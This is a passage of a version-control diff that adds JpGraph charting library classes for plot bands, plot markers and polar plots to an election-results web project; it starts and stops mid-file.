+		$obj =  new RectPatternSolid($aColor,$aWeight);
+		break;
+	    case BAND_VLINE:
+		$obj =  new RectPatternVert($aColor,$aWeight);
+		break;
+	    case BAND_HLINE:
+		$obj =  new RectPatternHor($aColor,$aWeight);
+		break;
+	    case BAND_3DPLANE:
+		$obj =  new RectPattern3DPlane($aColor,$aWeight);
+		break;
+	    case BAND_HVCROSS:
+		$obj =  new RectPatternCross($aColor,$aWeight);
+		break;
+	    case BAND_DIAGCROSS:
+		$obj =  new RectPatternDiagCross($aColor,$aWeight);
+		break;
+	    default:
+		JpGraphError::RaiseL(16003,$aPattern);
+//(" Unknown pattern specification ($aPattern)");
+	}
+	return $obj;
+    }
+}
+
+
+//=====================================================================
+// Class PlotBand
+// Factory class which is used by the client.
+// It is responsible for factoring the corresponding pattern
+// concrete class.
+//=====================================================================
+class PlotBand {
+    public $depth; // Determine if band should be over or under the plots
+    private $prect=null;
+    private $dir, $min, $max;
+
+    function PlotBand($aDir,$aPattern,$aMin,$aMax,$aColor="black",$aWeight=1,$aDepth=DEPTH_BACK) {
+	$f =  new RectPatternFactory();
+	$this->prect = $f->Create($aPattern,$aColor,$aWeight);
+	if( is_numeric($aMin) && is_numeric($aMax) && ($aMin > $aMax) ) 
+	    JpGraphError::RaiseL(16004);
+//('Min value for plotband is larger than specified max value. Please correct.');
+	$this->dir = $aDir;
+	$this->min = $aMin;
+	$this->max = $aMax;
+	$this->depth=$aDepth;
+    }
+	
+    // Set position. aRect contains absolute image coordinates
+    function SetPos($aRect) {
+	assert( $this->prect != null ) ;
+	$this->prect->SetPos($aRect);
+    }
+	
+    function ShowFrame($aFlag=true) {
+	$this->prect->ShowFrame($aFlag);
+    }
+
+    // Set z-order. In front of pplot or in the back
+    function SetOrder($aDepth) {
+	$this->depth=$aDepth;
+    }
+	
+    function SetDensity($aDens) {
+	$this->prect->SetDensity($aDens);
+    }
+	
+    function GetDir() {
+	return $this->dir;
+    }
+	
+    function GetMin() {
+	return $this->min;
+    }
+	
+    function GetMax() {
+	return $this->max;
+    }
+
+    function PreStrokeAdjust($aGraph) {
+	// Nothing to do
+    }
+	
+    // Display band
+    function Stroke($aImg,$aXScale,$aYScale) {
+	assert( $this->prect != null ) ;
+	if( $this->dir == HORIZONTAL ) {
+	    if( $this->min === 'min' ) $this->min = $aYScale->GetMinVal();
+	    if( $this->max === 'max' ) $this->max = $aYScale->GetMaxVal();
+
+            // Only draw the bar if it actually appears in the range
+            if ($this->min < $aYScale->GetMaxVal() && $this->max > $aYScale->GetMinVal()) {
+	    
+	    // Trucate to limit of axis
+	    $this->min = max($this->min, $aYScale->GetMinVal());
+	    $this->max = min($this->max, $aYScale->GetMaxVal());
+
+	    $x=$aXScale->scale_abs[0];
+	    $y=$aYScale->Translate($this->max);
+	    $width=$aXScale->scale_abs[1]-$aXScale->scale_abs[0]+1;
+	    $height=abs($y-$aYScale->Translate($this->min))+1;
+	    $this->prect->SetPos(new Rectangle($x,$y,$width,$height));
+	    $this->prect->Stroke($aImg);
+            }
+	}
+	else {	// VERTICAL
+	    if( $this->min === 'min' ) $this->min = $aXScale->GetMinVal();
+	    if( $this->max === 'max' ) $this->max = $aXScale->GetMaxVal();
+            
+            // Only draw the bar if it actually appears in the range
+	    if ($this->min < $aXScale->GetMaxVal() && $this->max > $aXScale->GetMinVal()) {
+	    
+	    // Trucate to limit of axis
+	    $this->min = max($this->min, $aXScale->GetMinVal());
+	    $this->max = min($this->max, $aXScale->GetMaxVal());
+
+	    $y=$aYScale->scale_abs[1];
+	    $x=$aXScale->Translate($this->min);
+	    $height=abs($aYScale->scale_abs[1]-$aYScale->scale_abs[0]);
+	    $width=abs($x-$aXScale->Translate($this->max));
+	    $this->prect->SetPos(new Rectangle($x,$y,$width,$height));
+	    $this->prect->Stroke($aImg);
+            }
+	}
+    }
+}
+
+
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_plotmark.inc.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_plotmark.inc.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_plotmark.inc.php	(revision 44)
@@ -0,0 +1,497 @@
+<?php
+//=======================================================================
+// File:	JPGRAPH_PLOTMARK.PHP
+// Description:	Class file. Handles plotmarks
+// Created: 	2003-03-21
+// Ver:		$Id: jpgraph_plotmark.inc.php 956 2007-11-17 13:19:20Z ljp $
+//
+// Copyright (c) Aditus Consulting. All rights reserved.
+//========================================================================
+
+
+//===================================================
+// CLASS PlotMark
+// Description: Handles the plot marks in graphs
+//===================================================
+
+class PlotMark {
+    public $title, $show=true;
+    public $type,$weight=1;
+    public $iFormatCallback="", $iFormatCallback2="";
+    public $fill_color="blue";
+    public $color="black", $width=4;
+    private $yvalue,$xvalue='',$csimtarget,$csimwintarget='',$csimalt,$csimareas;
+    private $markimg='',$iScale=1.0;
+    private $oldfilename='',$iFileName='';
+    private $imgdata_balls = null;
+    private $imgdata_diamonds = null;
+    private $imgdata_squares = null;
+    private $imgdata_bevels = null;
+    private $imgdata_stars = null;
+    private $imgdata_pushpins = null;
+
+//--------------
+// CONSTRUCTOR
+    function PlotMark() {
+	$this->title = new Text();
+	$this->title->Hide();
+	$this->csimareas = '';
+	$this->type=-1;
+    }
+//---------------
+// PUBLIC METHODS	
+    function SetType($aType,$aFileName='',$aScale=1.0) {
+	$this->type = $aType;
+	if( $aType == MARK_IMG && $aFileName=='' ) {
+	    JpGraphError::RaiseL(23003);//('A filename must be specified if you set the mark type to MARK_IMG.');
+	}
+	$this->iFileName = $aFileName;
+	$this->iScale = $aScale;
+    }
+	
+    function SetCallback($aFunc) {
+	$this->iFormatCallback = $aFunc;
+    }
+
+    function SetCallbackYX($aFunc) {
+	$this->iFormatCallback2 = $aFunc;
+    }
+    
+    function GetType() {
+	return $this->type;
+    }
+	
+    function SetColor($aColor) {
+	$this->color=$aColor;
+    }
+	
+    function SetFillColor($aFillColor) {
+	$this->fill_color = $aFillColor;
+    }
+
+    function SetWeight($aWeight) {
+	$this->weight = $aWeight;
+    }
+
+    // Synonym for SetWidth()
+    function SetSize($aWidth) {
+	$this->width=$aWidth;
+    }
+	
+    function SetWidth($aWidth) {
+	$this->width=$aWidth;
+    }
+
+    function SetDefaultWidth() {
+	switch( $this->type ) {
+	    case MARK_CIRCLE: 
+	    case MARK_FILLEDCIRCLE: 
+		$this->width=4;
+		break;
+	    default:
+		$this->width=7;
+	}
+    }
+	
+    function GetWidth() {
+	return $this->width;
+    }
+	
+    function Hide($aHide=true) {
+	$this->show = !$aHide;
+    }
+	
+    function Show($aShow=true) {
+	$this->show = $aShow;
+    }
+
+    function SetCSIMAltVal($aY,$aX='') {
+        $this->yvalue=$aY; 
+        $this->xvalue=$aX; 
+    }
+    
+    function SetCSIMTarget($aTarget,$aWinTarget='') {
+        $this->csimtarget=$aTarget;
+        $this->csimwintarget=$aWinTarget;
+    }
+    
+    function SetCSIMAlt($aAlt) {
+        $this->csimalt=$aAlt;
+    }
+    
+    function GetCSIMAreas(){
+        return $this->csimareas;
+    }
+        
+    function AddCSIMPoly($aPts) {
+        $coords = round($aPts[0]).", ".round($aPts[1]);
+        $n = count($aPts)/2;
+        for( $i=1; $i < $n; ++$i){
+            $coords .= ", ".round($aPts[2*$i]).", ".round($aPts[2*$i+1]);
+        }
+        $this->csimareas="";    
+        if( !empty($this->csimtarget) ) {
+	    $this->csimareas .= "<area shape=\"poly\" coords=\"$coords\" href=\"".htmlentities($this->csimtarget)."\"";
+
+	    if( !empty($this->csimwintarget) ) {
+		$this->csimareas .= " target=\"".$this->csimwintarget."\" ";
+	    }
+
+	    if( !empty($this->csimalt) ) {										
+		$tmp=sprintf($this->csimalt,$this->yvalue,$this->xvalue);
+		$this->csimareas .= " title=\"$tmp\" alt=\"$tmp\"";
+	    }
+	    $this->csimareas .= " />\n";
+	}
+    }
+    
+    function AddCSIMCircle($x,$y,$r) {
+    	$x = round($x); $y=round($y); $r=round($r);
+        $this->csimareas="";    
+        if( !empty($this->csimtarget) ) {
+	    $this->csimareas .= "<area shape=\"circle\" coords=\"$x,$y,$r\" href=\"".htmlentities($this->csimtarget)."\"";
+
+	    if( !empty($this->csimwintarget) ) {
+		$this->csimareas .= " target=\"".$this->csimwintarget."\" ";
+	    }
+
+    	    if( !empty($this->csimalt) ) {										
+		$tmp=sprintf($this->csimalt,$this->yvalue,$this->xvalue);
+		$this->csimareas .= " title=\"$tmp\" alt=\"$tmp\" ";
+	    }
+	    $this->csimareas .= " />\n";
+        }
+    }
+    	
+    function Stroke($img,$x,$y) {
+	if( !$this->show ) return;
+
+	if( $this->iFormatCallback != '' || $this->iFormatCallback2 != '' ) {
+
+	    if( $this->iFormatCallback != '' ) {
+		$f = $this->iFormatCallback;
+		list($width,$color,$fcolor) = call_user_func($f,$this->yvalue);
+		$filename = $this->iFileName;
+		$imgscale = $this->iScale;
+	    }
+	    else {
+		$f = $this->iFormatCallback2;
+		list($width,$color,$fcolor,$filename,$imgscale) = call_user_func($f,$this->yvalue,$this->xvalue);
+		if( $filename=="" ) $filename = $this->iFileName;
+		if( $imgscale=="" ) $imgscale = $this->iScale;
+	    }
+
+	    if( $width=="" ) $width = $this->width;
+	    if( $color=="" ) $color = $this->color;
+	    if( $fcolor=="" ) $fcolor = $this->fill_color;
+
+	}
+	else {
+	    $fcolor = $this->fill_color;
+	    $color = $this->color;
+	    $width = $this->width;
+	    $filename = $this->iFileName;
+	    $imgscale = $this->iScale;
+	}
+
+	if( $this->type == MARK_IMG ||
+	    ($this->type >= MARK_FLAG1 && $this->type <= MARK_FLAG4 ) ||
+	    $this->type >= MARK_IMG_PUSHPIN ) {
+
+	    // Note: For the builtin images we use the "filename" parameter
+	    // to denote the color
+	    $anchor_x = 0.5;
+	    $anchor_y = 0.5; 
+	    switch( $this->type ) {
+		case MARK_FLAG1:
+		case MARK_FLAG2:
+		case MARK_FLAG3:
+		case MARK_FLAG4:
+		    $this->markimg = FlagCache::GetFlagImgByName($this->type-MARK_FLAG1+1,$filename);
+		    break;
+
+		case MARK_IMG :
+		    // Load an image and use that as a marker
+		    // Small optimization, if we have already read an image don't
+		    // waste time reading it again.
+		    if( $this->markimg == '' || !($this->oldfilename === $filename) ) {
+			$this->markimg = Graph::LoadBkgImage('',$filename);
+			$this->oldfilename = $filename ;
+		    }
+		    break;
+
+		case MARK_IMG_PUSHPIN:
+		case MARK_IMG_SPUSHPIN:
+		case MARK_IMG_LPUSHPIN:
+		    if( $this->imgdata_pushpins == null ) {
+			require_once 'imgdata_pushpins.inc.php';
+			$this->imgdata_pushpins = new ImgData_PushPins();
+		    }
+		    $this->markimg = $this->imgdata_pushpins->GetImg($this->type,$filename);
+		    list($anchor_x,$anchor_y) = $this->imgdata_pushpins->GetAnchor();
+		    break;
+
+		case MARK_IMG_SQUARE:
+		    if( $this->imgdata_squares == null ) {
+			require_once 'imgdata_squares.inc.php';
+			$this->imgdata_squares = new ImgData_Squares();
+		    }
+		    $this->markimg = $this->imgdata_squares->GetImg($this->type,$filename);
+		    list($anchor_x,$anchor_y) = $this->imgdata_squares->GetAnchor();
+		    break;
+
+		case MARK_IMG_STAR:
+		    if( $this->imgdata_stars == null ) {
+			require_once 'imgdata_stars.inc.php';
+			$this->imgdata_stars = new ImgData_Stars();
+		    }
+		    $this->markimg = $this->imgdata_stars->GetImg($this->type,$filename);
+		    list($anchor_x,$anchor_y) = $this->imgdata_stars->GetAnchor();
+		    break;
+
+		case MARK_IMG_BEVEL:
+		    if( $this->imgdata_bevels == null ) {
+			require_once 'imgdata_bevels.inc.php';
+			$this->imgdata_bevels = new ImgData_Bevels();
+		    }
+		    $this->markimg = $this->imgdata_bevels->GetImg($this->type,$filename);
+		    list($anchor_x,$anchor_y) = $this->imgdata_bevels->GetAnchor();
+		    break;
+
+		case MARK_IMG_DIAMOND:
+		    if( $this->imgdata_diamonds == null ) {
+			require_once 'imgdata_diamonds.inc.php';
+			$this->imgdata_diamonds = new ImgData_Diamonds();
+		    }
+		    $this->markimg = $this->imgdata_diamonds->GetImg($this->type,$filename);
+		    list($anchor_x,$anchor_y) = $this->imgdata_diamonds->GetAnchor();
+		    break;
+
+		case MARK_IMG_BALL:		    
+		case MARK_IMG_SBALL:		    
+		case MARK_IMG_MBALL:		    
+		case MARK_IMG_LBALL:		    
+		    if( $this->imgdata_balls == null ) {
+			require_once 'imgdata_balls.inc.php';
+			$this->imgdata_balls = new ImgData_Balls();
+		    }
+		    $this->markimg = $this->imgdata_balls->GetImg($this->type,$filename);
+		    list($anchor_x,$anchor_y) = $this->imgdata_balls->GetAnchor();
+		    break;
+	    }
+
+	    $w = $img->GetWidth($this->markimg);
+	    $h = $img->GetHeight($this->markimg);
+	    
+	    $dw = round($imgscale * $w );
+	    $dh = round($imgscale * $h );
+
+	    // Do potential rotation
+	    list($x,$y) = $img->Rotate($x,$y);
+
+	    $dx = round($x-$dw*$anchor_x);
+	    $dy = round($y-$dh*$anchor_y);
+	    
+	    $this->width = max($dx,$dy);
+	    
+	    $img->Copy($this->markimg,$dx,$dy,0,0,$dw,$dh,$w,$h);
+	    if( !empty($this->csimtarget) ) {
+		$this->csimareas = "<area shape=\"rect\" coords=\"".
+		    $dx.','.$dy.','.round($dx+$dw).','.round($dy+$dh).'" '.
+		    "href=\"".htmlentities($this->csimtarget)."\"";
+		
+		if( !empty($this->csimwintarget) ) {
+		    $this->csimareas .= " target=\"".$this->csimwintarget."\" ";
+		}
+
+		if( !empty($this->csimalt) ) {
+		    $tmp=sprintf($this->csimalt,$this->yvalue,$this->xvalue);
+		    $this->csimareas .= " title=\"$tmp\" alt=\"$tmp\" ";
+		}
+		$this->csimareas .= " />\n";
+	    }
+	    
+	    // Stroke title
+	    $this->title->Align("center","top");
+	    $this->title->Stroke($img,$x,$y+round($dh/2));			
+	    return;
+	}
+
+	$weight = $this->weight;
+	$dx=round($width/2,0);
+	$dy=round($width/2,0);
+	$pts=0;		
+
+	switch( $this->type ) {
+	    case MARK_SQUARE:
+		$c[]=$x-$dx;$c[]=$y-$dy;
+		$c[]=$x+$dx;$c[]=$y-$dy;
+		$c[]=$x+$dx;$c[]=$y+$dy;
+		$c[]=$x-$dx;$c[]=$y+$dy;
+		$c[]=$x-$dx;$c[]=$y-$dy;
+		$pts=5;
+		break;
+	    case MARK_UTRIANGLE:
+		++$dx;++$dy;
+		$c[]=$x-$dx;$c[]=$y+0.87*$dy;	// tan(60)/2*$dx
+		$c[]=$x;$c[]=$y-0.87*$dy;
+		$c[]=$x+$dx;$c[]=$y+0.87*$dy;
+		$c[]=$x-$dx;$c[]=$y+0.87*$dy;	// tan(60)/2*$dx
+		$pts=4;
+		break;
+	    case MARK_DTRIANGLE:
+		++$dx;++$dy;			
+		$c[]=$x;$c[]=$y+0.87*$dy;	// tan(60)/2*$dx
+		$c[]=$x-$dx;$c[]=$y-0.87*$dy;
+		$c[]=$x+$dx;$c[]=$y-0.87*$dy;
+		$c[]=$x;$c[]=$y+0.87*$dy;	// tan(60)/2*$dx
+		$pts=4;
+		break;				
+	    case MARK_DIAMOND:
+		$c[]=$x;$c[]=$y+$dy;
+		$c[]=$x-$dx;$c[]=$y;
+		$c[]=$x;$c[]=$y-$dy;
+		$c[]=$x+$dx;$c[]=$y;
+		$c[]=$x;$c[]=$y+$dy;
+		$pts=5;
+		break;	
+	    case MARK_LEFTTRIANGLE:
+		$c[]=$x;$c[]=$y;
+		$c[]=$x;$c[]=$y+2*$dy;
+		$c[]=$x+$dx*2;$c[]=$y;
+		$c[]=$x;$c[]=$y;
+		$pts=4;
+		break;
+	    case MARK_RIGHTTRIANGLE:
+		$c[]=$x-$dx*2;$c[]=$y;
+		$c[]=$x;$c[]=$y+2*$dy;
+		$c[]=$x;$c[]=$y;
+		$c[]=$x-$dx*2;$c[]=$y;
+		$pts=4;
+		break;
+	    case MARK_FLASH:
+		$dy *= 2;
+		$c[]=$x+$dx/2; $c[]=$y-$dy;
+		$c[]=$x-$dx+$dx/2; $c[]=$y+$dy*0.7-$dy;
+		$c[]=$x+$dx/2; $c[]=$y+$dy*1.3-$dy;
+		$c[]=$x-$dx+$dx/2; $c[]=$y+2*$dy-$dy;
+		$img->SetLineWeight($weight);
+		$img->SetColor($color);					
+		$img->Polygon($c);
+		$img->SetLineWeight(1);
+		$this->AddCSIMPoly($c);
+		break;
+	}
+
+	if( $pts>0 ) {
+	    $this->AddCSIMPoly($c);
+	    $img->SetLineWeight($weight);
+	    $img->SetColor($fcolor);								
+	    $img->FilledPolygon($c);
+	    $img->SetColor($color);					
+	    $img->Polygon($c);
+	    $img->SetLineWeight(1);
+	}
+	elseif( $this->type==MARK_CIRCLE ) {
+	    $img->SetColor($color);					
+	    $img->Circle($x,$y,$width);
+	    $this->AddCSIMCircle($x,$y,$width);
+	}
+	elseif( $this->type==MARK_FILLEDCIRCLE ) {
+	    $img->SetColor($fcolor);		
+	    $img->FilledCircle($x,$y,$width);
+	    $img->SetColor($color);	
+	    $img->Circle($x,$y,$width);
+	    $this->AddCSIMCircle($x,$y,$width);
+	}
+	elseif( $this->type==MARK_CROSS ) {
+	    // Oversize by a pixel to match the X
+	    $img->SetColor($color);
+	    $img->SetLineWeight($weight);
+	    $img->Line($x,$y+$dy+1,$x,$y-$dy-1);
+	    $img->Line($x-$dx-1,$y,$x+$dx+1,$y);
+	    $this->AddCSIMCircle($x,$y,$dx);	    
+	}
+	elseif( $this->type==MARK_X ) {
+	    $img->SetColor($color);
+	    $img->SetLineWeight($weight);
+	    $img->Line($x+$dx,$y+$dy,$x-$dx,$y-$dy);
+	    $img->Line($x-$dx,$y+$dy,$x+$dx,$y-$dy);		
+	    $this->AddCSIMCircle($x,$y,$dx+$dy);	    	    
+	}			
+	elseif( $this->type==MARK_STAR ) {
+	    $img->SetColor($color);
+	    $img->SetLineWeight($weight);
+	    $img->Line($x+$dx,$y+$dy,$x-$dx,$y-$dy);
+	    $img->Line($x-$dx,$y+$dy,$x+$dx,$y-$dy);
+	    // Oversize by a pixel to match the X				
+	    $img->Line($x,$y+$dy+1,$x,$y-$dy-1);
+	    $img->Line($x-$dx-1,$y,$x+$dx+1,$y);
+	    $this->AddCSIMCircle($x,$y,$dx+$dy);	    
+	}
+		
+	// Stroke title
+	$this->title->Align("center","center");
+	$this->title->Stroke($img,$x,$y);			
+    }
+} // Class
+
+
+
+//========================================================================
+// CLASS ImgData
+// Description: Base class for all image data classes that contains the 
+// real image data.
+//========================================================================
+class ImgData {
+    protected $name = '';		// Each subclass gives a name
+    protected $an = array();		// Data array names
+    protected $colors = array();	// Available colors
+    protected $index  = array();	// Index for colors
+    protected $maxidx = 0 ;		// Max color index
+    protected $anchor_x=0.5, $anchor_y=0.5 ;    // Where is the center of the image
+    // Create a GD image from the data and return a GD handle
+    function GetImg($aMark,$aIdx) {
+	$n = $this->an[$aMark];
+	if( is_string($aIdx) ) {
+	    if( !in_array($aIdx,$this->colors) ) {
+		JpGraphError::RaiseL(23001,$this->name,$aIdx);//('This marker "'.($this->name).'" does not exist in color: '.$aIdx);
+	    }
+	    $idx = $this->index[$aIdx];
+	}
+	elseif( !is_integer($aIdx) || 
+		(is_integer($aIdx) && $aIdx > $this->maxidx ) ) {
+	    JpGraphError::RaiseL(23002,$this->name);//('Mark color index too large for marker "'.($this->name).'"');
+	}
+	else
+	    $idx = $aIdx ;
+	return Image::CreateFromString(base64_decode($this->{$n}[$idx][1]));   
+    }
+    function GetAnchor() {
+	return array($this->anchor_x,$this->anchor_y);
+    }
+}
+
+
+// Keep a global flag cache to reduce memory usage
+$_gFlagCache=array(
+    1 => null,
+    2 => null,
+    3 => null,
+    4 => null,
+);
+// Only supposed to b called as statics
+class FlagCache {
+    static function GetFlagImgByName($aSize,$aName) {
+	global $_gFlagCache;
+	require_once('jpgraph_flags.php');
+	if( $_gFlagCache[$aSize] === null ) {
+	    $_gFlagCache[$aSize] = new FlagImages($aSize);
+	}
+	$f = $_gFlagCache[$aSize];
+	$idx = $f->GetIdxByName($aName,$aFullName);
+	return $f->GetImgByIdx($idx);
+    }
+}
+
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_polar.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_polar.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_polar.php	(revision 44)
@@ -0,0 +1,841 @@
+<?php
+/*=======================================================================
+// File: 	JPGRAPH_POLAR.PHP
+// Description:	Polar plot extension for JpGraph
+// Created: 	2003-02-02
+// Ver:		$Id: jpgraph_polar.php 1091 2009-01-18 22:57:40Z ljp $
+//
+// Copyright (c) Aditus Consulting. All rights reserved.
+//========================================================================
+*/
+
+require_once ('jpgraph_plotmark.inc.php');
+require_once "jpgraph_log.php";
+
+
+define('POLAR_360',1);
+define('POLAR_180',2);
+
+//
+// Note. Don't attempt to make sense of this code.
+// In order not to have to be able to inherit the scaling code
+// from the main graph package we have had to make some "tricks" since
+// the original scaling and axis was not designed to do what is
+// required here.
+// There were two option. 1: Re-implement everything and get a clean design
+// and 2: do some "small" trickery and be able to inherit most of
+// the functionlity from the main graph package. 
+// We choose 2: here in order to save some time.
+// 
+
+//--------------------------------------------------------------------------
+// class PolarPlot
+//--------------------------------------------------------------------------
+class PolarPlot {
+    public $line_style='solid',$mark;
+    public $legendcsimtarget='';
+    public $legendcsimalt='';
+    public $legend="";
+    public $csimtargets=array();	// Array of targets for CSIM
+    public $csimareas="";			// Resultant CSIM area tags	
+    public $csimalts=null;			// ALT:s for corresponding target
+    public $scale=null;
+    private $numpoints=0;
+    private $iColor='navy',$iFillColor='';
+    private $iLineWeight=1;
+    private $coord=null;
+
+    function PolarPlot($aData) {
+	$n = count($aData);
+	if( $n & 1 ) {
+	    JpGraphError::RaiseL(17001);
+//('Polar plots must have an even number of data point. Each data point is a tuple (angle,radius).');
+	}
+	$this->numpoints = $n/2;
+	$this->coord = $aData;
+	$this->mark = new PlotMark();
+    }
+
+    function SetWeight($aWeight) {
+	$this->iLineWeight = $aWeight;
+    }
+
+    function SetColor($aColor){
+	$this->iColor = $aColor;
+    }
+
+    function SetFillColor($aColor){
+	$this->iFillColor = $aColor;
+    }
+
+    function Max() {
+	$m = $this->coord[1];
+	$i=1;
+	while( $i < $this->numpoints ) {
+	    $m = max($m,$this->coord[2*$i+1]);  
+	    ++$i;
+	} 
+	return $m;
+    }
+    // Set href targets for CSIM	
+    function SetCSIMTargets($aTargets,$aAlts=null) {
+	$this->csimtargets=$aTargets;
+	$this->csimalts=$aAlts;		
+    }
+ 	
+    // Get all created areas
+    function GetCSIMareas() {
+	return $this->csimareas;
+    }	
+	
+    function SetLegend($aLegend,$aCSIM="",$aCSIMAlt="") {
+	$this->legend = $aLegend;
+	$this->legendcsimtarget = $aCSIM;
+	$this->legendcsimalt = $aCSIMAlt;
+    }
+
+    // Private methods
+
+    function Legend($aGraph) {
+	$color = $this->iColor ;
+	if( $this->legend != "" ) {
+	    if( $this->iFillColor!='' ) {
+		$color = $this->iFillColor;
+		$aGraph->legend->Add($this->legend,$color,$this->mark,0,
+				     $this->legendcsimtarget,$this->legendcsimalt);    
+	    }
+	    else {
+		$aGraph->legend->Add($this->legend,$color,$this->mark,$this->line_style,
+				     $this->legendcsimtarget,$this->legendcsimalt);    
+	    }
+	}
+    }
+
+    function Stroke($img,$scale) {
+
+	$i=0;
+	$p=array();
+	$this->csimareas='';
+	while($i < $this->numpoints) {
+	    list($x1,$y1) = $scale->PTranslate($this->coord[2*$i],$this->coord[2*$i+1]);
+	    $p[2*$i] = $x1;
+	    $p[2*$i+1] = $y1;
+	
+	    if( isset($this->csimtargets[$i]) ) {
+	        $this->mark->SetCSIMTarget($this->csimtargets[$i]);
+	        $this->mark->SetCSIMAlt($this->csimalts[$i]);
+		$this->mark->SetCSIMAltVal($this->coord[2*$i], $this->coord[2*$i+1]);
+		$this->mark->Stroke($img,$x1,$y1);
+		$this->csimareas .= $this->mark->GetCSIMAreas();
+	    }
+	    else
+		$this->mark->Stroke($img,$x1,$y1);
+
+	    ++$i;
+	}
+
+	if( $this->iFillColor != '' ) {
+	    $img->SetColor($this->iFillColor);
+	    $img->FilledPolygon($p);
+	}
+	$img->SetLineWeight($this->iLineWeight);
+	$img->SetColor($this->iColor);
+	$img->Polygon($p,$this->iFillColor!='');
+    }
+}
+
+//--------------------------------------------------------------------------
+// class PolarAxis
+//--------------------------------------------------------------------------
+class PolarAxis extends Axis {
+    private $angle_step=15,$angle_color='lightgray',$angle_label_color='black';
+    private $angle_fontfam=FF_FONT1,$angle_fontstyle=FS_NORMAL,$angle_fontsize=10;
+    private $angle_fontcolor = 'navy';
+    private $gridminor_color='lightgray',$gridmajor_color='lightgray';
+    private $show_minor_grid = false, $show_major_grid = true ;
+    private $show_angle_mark=true, $show_angle_grid=true, $show_angle_label=true;
+    private $angle_tick_len=3, $angle_tick_len2=3, $angle_tick_color='black';
+    private $show_angle_tick=true;
+    private $radius_tick_color='black';
+
+    function PolarAxis($img,$aScale) {
+	parent::Axis($img,$aScale);
+    }
+
+    function ShowAngleDegreeMark($aFlg=true) {
+	$this->show_angle_mark = $aFlg;
+    }
+
+    function SetAngleStep($aStep) {
+	$this->angle_step=$aStep;
+    }
+
+    function HideTicks($aFlg=true,$aAngleFlg=true) {
+	parent::HideTicks($aFlg,$aFlg);
+	$this->show_angle_tick = !$aAngleFlg;
+    }
+
+    function ShowAngleLabel($aFlg=true) {
+	$this->show_angle_label = $aFlg;
+    }
+
+    function ShowGrid($aMajor=true,$aMinor=false,$aAngle=true) {
+	$this->show_minor_grid = $aMinor;
+	$this->show_major_grid = $aMajor;
+	$this->show_angle_grid = $aAngle ;
+    }
+
+    function SetAngleFont($aFontFam,$aFontStyle=FS_NORMAL,$aFontSize=10) {
+	$this->angle_fontfam = $aFontFam;
+	$this->angle_fontstyle = $aFontStyle;
+	$this->angle_fontsize = $aFontSize;
+    }
+
+    function SetColor($aColor,$aRadColor='',$aAngleColor='') {
+	if( $aAngleColor == '' )
+	    $aAngleColor=$aColor;
+	parent::SetColor($aColor,$aRadColor);
+	$this->angle_fontcolor = $aAngleColor;
+    }
+
+    function SetGridColor($aMajorColor,$aMinorColor='',$aAngleColor='') {
+	if( $aMinorColor == '' ) 
+	    $aMinorColor = $aMajorColor;
+	if( $aAngleColor == '' ) 
+	    $aAngleColor = $aMajorColor;
+
+	$this->gridminor_color = $aMinorColor;
+	$this->gridmajor_color = $aMajorColor;
+	$this->angle_color = $aAngleColor;
+    }
+
+    function SetTickColors($aRadColor,$aAngleColor='') {
+	$this->radius_tick_color = $aRadColor;
+	$this->angle_tick_color = $aAngleColor;
+    }
+    
+    // Private methods
+    function StrokeGrid($pos) {
+	$x = round($this->img->left_margin + $this->img->plotwidth/2);
+	$this->scale->ticks->Stroke($this->img,$this->scale,$pos);
+
+	// Stroke the minor arcs 
+	$pmin = array();
+	$p = $this->scale->ticks->ticks_pos;
+	$n = count($p);
+	$i = 0;
+	$this->img->SetColor($this->gridminor_color);
+	while( $i < $n ) {
+	    $r = $p[$i]-$x+1;
+	    $pmin[]=$r;
+	    if( $this->show_minor_grid ) {
+		$this->img->Circle($x,$pos,$r);
+	    }
+	    $i++;
+	}
+	
+	$limit = max($this->img->plotwidth,$this->img->plotheight)*1.4 ;
+	while( $r < $limit ) {
+	    $off = $r;
+	    $i=1;
+	    $r = $off + round($p[$i]-$x+1);
+	    while( $r < $limit && $i < $n ) {
+		$r = $off+$p[$i]-$x;
+		$pmin[]=$r;
+		if( $this->show_minor_grid ) {
+		    $this->img->Circle($x,$pos,$r);
+		}
+		$i++;
+	    }
+	}
+
+	// Stroke the major arcs 
+	if( $this->show_major_grid ) {
+	    // First determine how many minor step on
+	    // every major step. We have recorded the minor radius
+	    // in pmin and use these values. This is done in order
+	    // to avoid rounding errors if we were to recalculate the
+	    // different major radius.
+	    $pmaj = $this->scale->ticks->maj_ticks_pos;
+	    $p = $this->scale->ticks->ticks_pos;
+	    if( $this->scale->name == 'lin' ) {
+		$step=round(($pmaj[1] - $pmaj[0])/($p[1] - $p[0]));
+	    }
+	    else {
+		$step=9;
+	    }
+	    $n = round(count($pmin)/$step);
+	    $i = 0;
+	    $this->img->SetColor($this->gridmajor_color);
+	    $limit = max($this->img->plotwidth,$this->img->plotheight)*1.4 ;
+	    $off = $r;
+	    $i=0;
+	    $r = $pmin[$i*$step];
+	    while( $r < $limit && $i < $n ) {
+		$r = $pmin[$i*$step];
+		$this->img->Circle($x,$pos,$r);
+		$i++;
+	    }
+	}
+
+	// Draw angles
+	if( $this->show_angle_grid ) {
+	    $this->img->SetColor($this->angle_color);
+	    $d = max($this->img->plotheight,$this->img->plotwidth)*1.4 ;
+	    $a = 0;
+	    $p = $this->scale->ticks->ticks_pos;
+	    $start_radius = $p[1]-$x;
+	    while( $a < 360 ) {
+		if( $a == 90 || $a == 270 ) {
+		    // Make sure there are no rounding problem with
+		    // exactly vertical lines
+		    $this->img->Line($x+$start_radius*cos($a/180*M_PI)+1,
+				     $pos-$start_radius*sin($a/180*M_PI),
+				     $x+$start_radius*cos($a/180*M_PI)+1,
+				     $pos-$d*sin($a/180*M_PI));
+		    
+		}
+		else {
+		    $this->img->Line($x+$start_radius*cos($a/180*M_PI)+1,
+				     $pos-$start_radius*sin($a/180*M_PI),
+				     $x+$d*cos($a/180*M_PI),
+				     $pos-$d*sin($a/180*M_PI));
+		}
+		$a += $this->angle_step;
+	    }
+	}
+    }
+
+    function StrokeAngleLabels($pos,$type) {
+
+	if( !$this->show_angle_label ) 
+	    return;
+	
